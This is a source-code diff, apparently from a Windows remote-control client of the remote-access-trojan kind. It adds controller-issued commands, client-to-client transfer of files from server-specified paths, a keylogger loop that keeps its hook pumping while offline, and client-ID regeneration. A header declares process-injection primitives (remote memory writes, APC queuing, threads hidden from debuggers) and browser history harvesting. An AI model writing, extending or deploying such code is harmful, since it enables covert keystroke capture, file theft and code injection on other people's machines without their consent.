m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHELL: {
if (!ENABLE_SHELL) {
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
@@ -1253,6 +1495,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case CMD_FILE_SPEED: {
// 主控端下发文件传输速度档位:[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]。
// 写入 [transfer] 节,供各 InitFileUpload 调用点经 GetTransferSpeed 读取。
if (ulLength >= 5) {
int chunkKb = szBuffer[1] | (szBuffer[2] << 8);
int durMs = szBuffer[3] | (szBuffer[4] << 8);
m_cfg->SetInt("transfer", "ChunkKb", chunkKb);
m_cfg->SetInt("transfer", "DurationMs", durMs);
}
break;
}
case COMMAND_LIST_DRIVE : {
if (!ENABLE_FILE_MNG) {
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
@@ -1320,6 +1574,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_CONNECTION: {
if (!ENABLE_CONNECTION_MNG) {
return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_UPDATE: {
auto typ = m_conn->ClientType();
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
@@ -1368,8 +1635,44 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
case COMMAND_SEND_FILE_V2: {
// 主连接接收 V2 上传:确保文件传输模块已初始化(RecvFileChunkV2 依赖 g_status==1)。
EnsureV2TransferInited();
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
// 展开文件名中的环境变量(如 %USERPROFILE%),与 V1 的 COMMAND_FILE_SIZE 保持一致。
// 快捷图标定位远程目录时,主控端下发的 targetDir 仍含未展开的 %USERPROFILE%
// (server/2015Remote/FileManagerDlg.cpp OnRemoteDesktop/Downloads/Home),
// 若不在接收端展开,RecvFileChunkV2 会按字面量建目录(如 CWD\%%USERPROFILE%%\...)。
char* recvBuf = (char*)szBuffer;
size_t recvLen = ulLength;
std::vector<uint8_t> rebuilt;
if (ulLength >= sizeof(FileChunkPacketV2) && szBuffer[0] == COMMAND_SEND_FILE_V2) {
const FileChunkPacketV2* pkt = (const FileChunkPacketV2*)szBuffer;
if (ulLength >= sizeof(FileChunkPacketV2) + pkt->nameLength + pkt->dataLength) {
// 文件名未必以 '\0' 结尾,先构造出以 '\0' 结尾的副本
std::string name((const char*)szBuffer + sizeof(FileChunkPacketV2), (size_t)pkt->nameLength);
char expanded[MAX_PATH * 2] = { 0 };
DWORD n = ExpandEnvironmentStringsA(name.c_str(), expanded, (DWORD)sizeof(expanded));
if (n > 0 && n < (DWORD)sizeof(expanded)) {
std::string newName(expanded, n - 1); // n 含末尾 '\0'
if (newName.size() != pkt->nameLength) {
// 展开后长度变化,重建包:[header][展开后的 name][data]
size_t newLen = sizeof(FileChunkPacketV2) + newName.size() + pkt->dataLength;
rebuilt.resize(newLen);
memcpy(rebuilt.data(), szBuffer, sizeof(FileChunkPacketV2));
FileChunkPacketV2* newPkt = (FileChunkPacketV2*)rebuilt.data();
newPkt->nameLength = newName.size();
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2), newName.data(), newName.size());
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2) + newName.size(),
(const char*)szBuffer + sizeof(FileChunkPacketV2) + pkt->nameLength,
(size_t)pkt->dataLength);
recvBuf = (char*)rebuilt.data();
recvLen = newLen;
}
}
}
}
int n = RecvFileChunkV2(recvBuf, recvLen, m_conn,
nullptr, m_hash, m_hmac, m_MyClientID);
if (n) {
Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n);
@@ -1377,6 +1680,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_C2C_SEND_FILES: {
// C2C 按路径清单发送:服务端指定「源端路径 + 目标端目录」,见 OnC2CSendFiles。
OnC2CSendFiles(szBuffer, ulLength);
break;
}
case COMMAND_CLIPBOARD_V2: {
// C2C 剪贴板请求:被请求发送剪贴板文件到另一个客户端
ClipboardRequestV2* req = (ClipboardRequestV2*)szBuffer;
@@ -1652,6 +1961,182 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
}
// V2 文件传输模块是进程级的(InitFileUpload/UninitFileUpload 成对),发送与接收共用一次初始化:
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit,也不会被发送/接收两个
// 入口各自初始化一次(第二次 Init 会重置状态并泄漏前一次的上下文)。
void CKernelManager::EnsureV2TransferInited()
{
static bool s_v2Inited = false;
if (s_v2Inited) return;
int chunkKb, durMs;
GetTransferSpeed(*m_cfg, chunkKb, durMs);
int rc = InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf);
if (rc != 0) Mprintf("[V2] InitFileUpload 返回 %d,V2 文件传输可能不可用\n", rc);
s_v2Inited = true;
}
// 收集目录下的文件与子目录(语义同 CFileManager::CollectFilesRecursiveV2:
// 目录本身先作为一条 V2 目录项,随后是子项)。无成员依赖,主连接侧直接复用。
static void CollectFilesForC2C(const std::string& dirPath, std::vector<std::string>& files)
{
std::string dirEntry = dirPath;
while (!dirEntry.empty() && (dirEntry.back() == '\\' || dirEntry.back() == '/'))
dirEntry.pop_back();
if (!dirEntry.empty()) files.push_back(dirEntry);
WIN32_FIND_DATAA wfd;
HANDLE hFind = FindFirstFileA((dirPath + "*.*").c_str(), &wfd);
if (hFind == INVALID_HANDLE_VALUE) return;
do {
if (wfd.cFileName[0] == '.') continue;
std::string fullPath = dirPath + wfd.cFileName;
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
CollectFilesForC2C(fullPath + "\\", files);
else
files.push_back(fullPath);
} while (FindNextFileA(hFind, &wfd));
FindClose(hFind);
}
// 展开 %VAR%(与 CFileManager 的静态 ExpandPath 同语义,展开失败返回原路径)
static std::string ExpandPathForC2C(const char* path)
{
char szExpanded[MAX_PATH * 2] = { 0 };
DWORD len = ExpandEnvironmentStringsA(path, szExpanded, (DWORD)sizeof(szExpanded));
if (len > 0 && len < (DWORD)sizeof(szExpanded)) return szExpanded;
return path;
}
// C2C 按路径清单发送(服务端 → 源客户端)。
// 包格式:[C2CSendFilesPacket][targetDir\0][path1\0]...[pathN\0][\0](ANSI/936)。
// 与 COMMAND_CLIPBOARD_V2 的差别只在文件来源:这里的路径由服务端指定,不取剪贴板/资源管理器选中项。
// 数据由本端新开子连接上行,服务端按包内 dstClientID 原样中继到目标客户端的主连接。
void CKernelManager::OnC2CSendFiles(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength < sizeof(C2CSendFilesPacket)) return;
const C2CSendFilesPacket* req = (const C2CSendFilesPacket*)szBuffer;
const char* p = (const char*)szBuffer + sizeof(C2CSendFilesPacket);
const char* end = (const char*)szBuffer + ulLength;
std::string targetDir = (p < end) ? std::string(p) : std::string();
p += targetDir.size() + 1;
std::vector<std::string> paths;
while (p < end && *p != '\0') {
paths.push_back(p);
p += strlen(p) + 1;
}
// 收包缓冲在 OnReceive 返回后即失效:先把要用的字段拷出来,线程里只用副本。
const uint64_t transferID = req->transferID;
const uint64_t dstClientID = req->dstClientID;
std::string hash(req->hash, strnlen(req->hash, sizeof(req->hash)));
std::string hmac(req->hmac, strnlen(req->hmac, sizeof(req->hmac)));
// 结果包(服务端 TOKEN_C2C_SEND_RESULT → MCP 等待线程)。任何早退都要回一包,
// 否则服务端只能干等超时——这与 download_file 早期的「静默超时」是同一种毛病。
auto sendResult = [&](uint32_t status, uint32_t win32err, int32_t workerRc,
uint32_t fileCount, uint64_t totalBytes) {
C2CSendResultPacket res = {};
res.cmd = TOKEN_C2C_SEND_RESULT;
res.transferID = transferID;
res.dstClientID = dstClientID;
res.status = status;
res.win32err = win32err;
res.workerRc = workerRc;
res.fileCount = fileCount;
res.totalBytes = totalBytes;
m_ClientObject->Send2Server((char*)&res, sizeof(res));
};
// FileBatchTransferWorkerV2 依赖 g_status==1(InitFileUpload 已调用),否则直接返回 -1。
// 源端可能从未打开过文件管理器、也从未接收过上传,所以这里必须显式初始化。
EnsureV2TransferInited();
if (paths.empty() || targetDir.empty()) {
Mprintf("[C2C] 路径清单发送请求非法: transferID=%llu, paths=%zu, targetDir=%s\n",
transferID, paths.size(), targetDir.c_str());
sendResult(FEV2_FILE_NOT_FOUND, ERROR_INVALID_PARAMETER, 0, 0, 0);
return;
}
// 收集文件:展开环境变量、递归展开目录(目录项本身也发给目标端,用于建空目录)
std::vector<std::string> allFiles;
DWORD dwFirstErr = 0;
for (const std::string& raw : paths) {
std::string localPath = ExpandPathForC2C(raw.c_str());
DWORD attrs = GetFileAttributesA(localPath.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES) {
if (dwFirstErr == 0) dwFirstErr = GetLastError();
Mprintf("[C2C] 源路径不可访问: %s (win32=%lu)\n", localPath.c_str(), dwFirstErr);
continue;
}
if (attrs & FILE_ATTRIBUTE_DIRECTORY) {
std::string dirPath = localPath;
if (dirPath.back() != '\\') dirPath += '\\';
CollectFilesForC2C(dirPath, allFiles);
} else {
allFiles.push_back(localPath);
}
}
if (allFiles.empty()) {
sendResult(FEV2_FILE_NOT_FOUND,
dwFirstErr ? dwFirstErr : (DWORD)ERROR_FILE_NOT_FOUND, 0, 0, 0);
return;
}
// 统计(目录项不计入 fileCount/totalBytes)
uint32_t fileCount = 0;
uint64_t totalBytes = 0;
for (const std::string& f : allFiles) {
WIN32_FILE_ATTRIBUTE_DATA fad;
if (!GetFileAttributesExA(f.c_str(), GetFileExInfoStandard, &fad)) continue;
if (fad.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue;
fileCount++;
totalBytes += ((uint64_t)fad.nFileSizeHigh << 32) | fad.nFileSizeLow;
}
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
if (!pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
delete pClient;
Mprintf("[C2C] 连接服务器失败\n");
sendResult(1001, 0, -1, 0, 0);
return;
}
TransferOptionsV2 opts;
opts.transferID = transferID;
opts.srcClientID = m_MyClientID;
opts.dstClientID = dstClientID;
opts.enableResume = false; // v1 不做断点续传:失败即整包重发(目标端状态按 transferID 索引)
std::thread([allFiles, targetDir, pClient, opts, hash, hmac,
transferID, dstClientID, fileCount, totalBytes]() {
int rc = FileBatchTransferWorkerV2(allFiles, targetDir, pClient,
[](void* user, FileChunkPacketV2* chunk, unsigned char* data, int size) -> bool {
IOCPClient* client = (IOCPClient*)user;
return client->Send2Server((char*)data, size) != FALSE;
},
nullptr, hash, hmac, opts);
C2CSendResultPacket res = {};
res.cmd = TOKEN_C2C_SEND_RESULT;
res.transferID = transferID;
res.dstClientID = dstClientID;
res.status = (rc == 0) ? (uint32_t)FEV2_OK : (uint32_t)1001;
res.win32err = 0;
res.workerRc = (int32_t)rc;
res.fileCount = fileCount;
res.totalBytes = totalBytes;
pClient->Send2Server((char*)&res, sizeof(res));
delete pClient;
Mprintf("[C2C] 路径清单发送结束: transferID=%llu, %u 个文件, rc=%d\n",
transferID, fileCount, rc);
}).detach();
}
void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength > 8) {
+24 -11
View File
@@ -40,6 +40,24 @@ public:
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
}
// 返回当前活跃窗口标题;若空闲(idle ≥ threshold_ms)或取不到标题则返回空串。
// 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。
std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
{
if (GetUserIdleTime() >= threshold_ms)
return std::string();
return GetActiveWindowTitle();
}
// 返回当前前台窗口句柄;空闲(idle ≥ threshold_ms)返回 NULL。
// 历史活动按窗口(HWND)而非标题字符串累计:标题动态变化时不会反复归零。
HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
{
if (GetUserIdleTime() >= threshold_ms)
return NULL;
return GetForegroundWindow();
}
private:
std::string FormatMilliseconds(DWORD ms)
{
@@ -107,17 +125,7 @@ private:
bool IsWorkstationLocked()
{
HDESK hInput = OpenInputDesktop(0, FALSE, GENERIC_READ);
// 如果无法打开桌面,可能是因为桌面已经切换到 Winlogon
if (!hInput) return true;
char name[256] = {0};
DWORD needed;
bool isLocked = false;
if (GetUserObjectInformationA(hInput, UOI_NAME, name, sizeof(name), &needed)) {
isLocked = (_stricmp(name, "Winlogon") == 0);
}
CloseDesktop(hInput);
return isLocked;
return ::IsWorkstationLocked();
}
};
@@ -182,6 +190,11 @@ public:
std::string m_hash;
std::string m_hmac;
uint64_t m_MyClientID = 0;
// COMMAND_C2C_SEND_FILES:按服务端指定的路径清单把文件直接发给另一个客户端。
// 包格式 [C2CSendFilesPacket][targetDir\0][path1\0]...[pathN\0][\0],结果用 TOKEN_C2C_SEND_RESULT 回传。
void OnC2CSendFiles(PBYTE szBuffer, ULONG ulLength);
// 进程级 V2 文件传输模块初始化(幂等),发送与接收两条路径共用。
void EnsureV2TransferInited();
// 执行代码
std::map<std::string, std::vector<BYTE>> m_MemDLL;
void SetLoginMsg(const std::string& msg)
+5 -1
View File
@@ -679,7 +679,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
return -1;
}
while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
// 低层键盘钩子的回调在本线程的消息泵里执行,所以只要钩子还装着就必须泵消息。
// 离线记录时即使没有键盘子连接钩子也常驻;此前要求 IsConnected() 才泵,
// 等于在输入链上挂一个永不返回的钩子(每个按键被 LowLevelHooksTimeout 卡住),
// 同机的 YAMA 钩子收不到完整按键对,Win 快捷键与 Ctrl+V 转发失效。
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
#else
int num = lstrlen(KeyBuffer);
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
+56 -10
View File
@@ -289,6 +289,35 @@ uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normal
return XXH64(s.c_str(), s.length(), 0);
}
// 撞 ID 的克隆机重生成 client_id:在旧 ID 基础上掺一个一次性随机 UUID 再哈希。
// 只在服务端判定「主机名不同却撞 ID」后下发 COMMAND_REGEN_CLIENT_ID 触发,不影响
// 正常(首次)登录的 CalcalateIDv2 算法;唯一性由随机 UUID 保证,同批克隆机各自
// 随机,重算后必然不同。
uint64_t RegenerateClientID(uint64_t oldID)
{
// 16 字节随机数充当一次性 UUID(RtlGenRandom = advapi32 SystemFunction036)。
unsigned char rnd[16] = {};
if (!RtlGenRandom(rnd, (ULONG)sizeof(rnd))) {
// 极少数环境 RtlGenRandom 可能失败:退化为时间/进程/线程/性能计数混合的 LCG,
// 保证仍能产出与旧 ID 不同的新 ID(不追求密码学强度,只需撞车概率足够低)。
uint64_t mix = GetTickCount64() ^ ((uint64_t)GetCurrentProcessId() << 32)
^ (uint64_t)GetCurrentThreadId();
LARGE_INTEGER pc;
QueryPerformanceCounter(&pc);
mix ^= (uint64_t)pc.QuadPart;
for (int i = 0; i < 16; ++i) {
mix = mix * 6364136223846793005ULL + 1442695040888963407ULL;
rnd[i] = (unsigned char)(mix >> 56);
}
}
char hex[33];
for (int i = 0; i < 16; ++i)
sprintf_s(hex + i * 2, 3, "%02X", (unsigned)rnd[i]);
hex[32] = '\0';
std::string seed = std::to_string(oldID) + "|" + hex;
return XXH64(seed.c_str(), seed.size(), 0);
}
BOOL IsAuthKernel(std::string &str) {
BOOL isAuthKernel = FALSE;
std::string pid = std::to_string(GetCurrentProcessId());
@@ -378,13 +407,29 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
auto ip_time = cfg.GetInt("settings", "ip_time");
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
// 升级后强制重新查询一次:旧版缓存的 location 是 GBK/CP1252,或已把 ö/ä/ß 等替换成 '?';
// 新版 GetGeoLocation 改为 UTF-8 上报(见 common/location.h),需重新拉取才能修正。
// 版本号即编译日期 __DATE__(见 common/commands.h 的 DLL_VERSION):编译期宏,内存 DLL
// 也能取到,且每次编译都会变,天然标识“升级”,无需手动递增,也不依赖 exe 版本资源。
bool cacheVerChanged = (cfg.GetStr("settings", "loc_cache_ver", "") != __DATE__);
IPConverter cvt;
if (loc.empty() || pubIP.empty() || timeout) {
pubIP = cvt.getPublicIP();
loc = cvt.GetGeoLocation(pubIP);
cfg.SetStr("settings", "location", loc);
cfg.SetStr("settings", "public_ip", pubIP);
cfg.SetInt("settings", "ip_time", time(0));
if (loc.empty() || pubIP.empty() || timeout || cacheVerChanged) {
std::string newPubIP = pubIP;
// 升级重查 location 时复用已缓存的公网 IP;仅当 IP 缺失或 7 天过期才重新探测,
// 否则离线/无外网机器每次重连都会轮询 5 个公网 IP 源、空等数秒到十几秒。
if (pubIP.empty() || timeout) {
newPubIP = cvt.getPublicIP();
}
std::string newLoc = cvt.GetGeoLocation(newPubIP);
// 仅查询成功才覆盖缓存并推进版本号;失败保留旧值,下次登录仍会重试。
if (!newLoc.empty() && !newPubIP.empty()) {
pubIP = newPubIP;
loc = newLoc;
cfg.SetStr("settings", "location", loc);
cfg.SetStr("settings", "public_ip", pubIP);
cfg.SetInt("settings", "ip_time", time(0));
cfg.SetStr("settings", "loc_cache_ver", __DATE__);
}
}
LoginInfor.AddReserved(loc.c_str());
LoginInfor.AddReserved(pubIP.c_str());
@@ -396,13 +441,13 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
std::string clientID = cfg.GetStr("settings", "client_id");
if (clientID.empty()) {
// V2 ID 算法:MachineGuid + 归一化路径
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移)
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库
// V2 ID 算法:MachineGuid + 主机名 + 归一化路径
// - 主机名兜底区分同镜像克隆机:MachineGuid 相同、路径相同仍能靠主机名区分。
// - 代价:改名会让 client_id 变化,丢该主机的备注/授权/历史;主机名非硬件唯一,重名仍撞。
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
std::string machineGuid = GetMachineGuidWindows();
if (!machineGuid.empty()) {
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf), isAuth);
conn.clientID = CalcalateIDv2(machineGuid + "|" + szPCName, NormalizeExePathLower(buf), isAuth);
} else {
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
@@ -428,6 +473,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
LoginInfor.AddReserved(fileSize); // 文件大小
LoginInfor.AddReserved(TlsEnabled() ? 1 : 0); // TLS 启用标志:有信任锚(证书)即 1
return LoginInfor;
}
+1
View File
@@ -7,6 +7,7 @@
std::string GetMachineGuidWindows();
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth = false);
uint64_t RegenerateClientID(uint64_t oldID);
BOOL IsAuthKernel(std::string& str);
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate, bool isAuth);
DWORD CPUClockMHz();
File diff suppressed because it is too large. Load diff
+203
View File
@@ -0,0 +1,203 @@
#pragma once
#include "Manager.h"
#include <Iphlpapi.h>
#include <tlhelp32.h>
#include <map>
#include <WINSOCK2.H>
#include "yapi.hpp"
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib, "WS2_32.lib")
#include <taskschd.h>
#include <comutil.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004
class CMachineManager : public CManager
{
public:
BOOL m_bUse;
CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CMachineManager();
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
private:
static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
HWND GetHwndByPid(DWORD dwProcessID);
bool Is64BitOS();
bool Is64BitPorcess(DWORD dwProcessID);
char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName, int nSize);
BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
void DeleteService(LPBYTE lpBuffer, UINT nSize);
void MyControlService(LPBYTE lpBuffer, UINT nType);
void SendProcessList();
LPBYTE getProcessList(); //进程
void SendWindowsList();
LPBYTE getWindowsList(); //窗口
void SendNetStateList();
LPBYTE getNetStateList();
void SendSoftWareList();
LPBYTE getSoftWareList(); //软件列表
void SendIEHistoryList();
LPBYTE getIEHistoryList(); // 浏览记录
void SendFavoritesUrlList();
void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
LPBYTE getFavoritesUrlList(); //收藏夹
void SendServicesList(DWORD dwScType = SERVICE_WIN32);
LPBYTE getServiceList(DWORD dwScType);
PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset); //获取目录下的所有任务
PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
PBYTE GetRoot(); //获取根目录下的子文件夹
BOOL CreateTask(LPBYTE lpBuffer); //创建计划任务
BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action); //执行或停止
BOOL DelTask(LPBYTE lpBuffer); //删除计划任务
BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
void SaveData(const std::string& taskname, const std::string& path,
const std::string& exepath, const std::string& status,
DATE LastTime, DATE NextTime, PBYTE &data, int &offset); //保存数据到缓冲区
DWORD m_dwServiceType;
void SendHostsList();
void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);
void SendError(const char* Terror);
};
struct Browsinghistory {
char strTime[100];
char strTitle[1024];
char strUrl[1024];
};
typedef struct {
DWORD dwState; // 连接状态
DWORD dwLocalAddr; // 本地地址
DWORD dwLocalPort; // 本地端口
DWORD dwRemoteAddr; // 远程地址
DWORD dwRemotePort; // 远程端口
DWORD dwProcessId; // 进程ID号
} MIB_TCPEXROW, * PMIB_TCPEXROW;
typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW table[ANY_SIZE];
} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;
typedef struct {
DWORD dwLocalAddr; // 本地地址
DWORD dwLocalPort; // 本地端口
DWORD dwProcessId; // 进程ID号
} MIB_UDPEXROW, * PMIB_UDPEXROW;
typedef struct {
DWORD dwNumEntries;
MIB_UDPEXROW table[ANY_SIZE];
} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;
typedef struct {
DWORD dwState; //连接状态
DWORD dwLocalAddr; //本地地址
DWORD dwLocalPort; //本地端口
DWORD dwRemoteAddr; //远程地址
DWORD dwRemotePort; //远程端口
DWORD dwProcessId; //进程标识
DWORD Unknown; //待定标识
} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;
typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW_VISTA table[ANY_SIZE];
} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;
typedef DWORD(WINAPI* _InternalGetTcpTable2)(
PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
HANDLE heap,
DWORD flags
);
typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
PMIB_UDPEXTABLE* pUdpTable,
HANDLE heap,
DWORD flags
);
// 扩展函数原型
typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
PMIB_TCPEXTABLE* pTcpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
);
typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
PMIB_UDPEXTABLE* pUdpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
);
typedef _CLIENT_ID* PCLIENT_ID;
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer);
typedef struct _THREAD_DATA
{
pRtlInitUnicodeString fnRtlInitUnicodeString;
pLdrLoadDll fnLdrLoadDll;
UNICODE_STRING UnicodeString;
WCHAR DllName[260];
PWCHAR DllPath;
ULONG Flags;
HANDLE ModuleHandle;
}THREAD_DATA, * PTHREAD_DATA;
struct InjectData {
DWORD ExeIsx86;
DWORD mode; //注入模式
DWORD dwProcessID;//进程ID
DWORD datasize; //本地数据尺寸
char strpath[1024]; //远程落地目录
};
+37 -4
View File
@@ -119,26 +119,59 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError());
// 限制失败日志频率:锁屏/无交互桌面/权限不足(如 ERROR_ACCESS_DENIED=5)时,
// 这些错误会随调用循环每秒触发、刷屏严重,这里最多每分钟记录一次。
DWORD err = GetLastError(); // 立即捕获 OpenInputDesktop 的错误,避免后续调用覆盖
static DWORD s_lastDesktopFailLog = 0;
DWORD now = GetTickCount();
bool logDue = (now - s_lastDesktopFailLog >= 60000);
if (logDue)
s_lastDesktopFailLog = now;
if (logDue)
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", err);
HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
if (hWinSta) {
SetProcessWindowStation(hWinSta);
hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
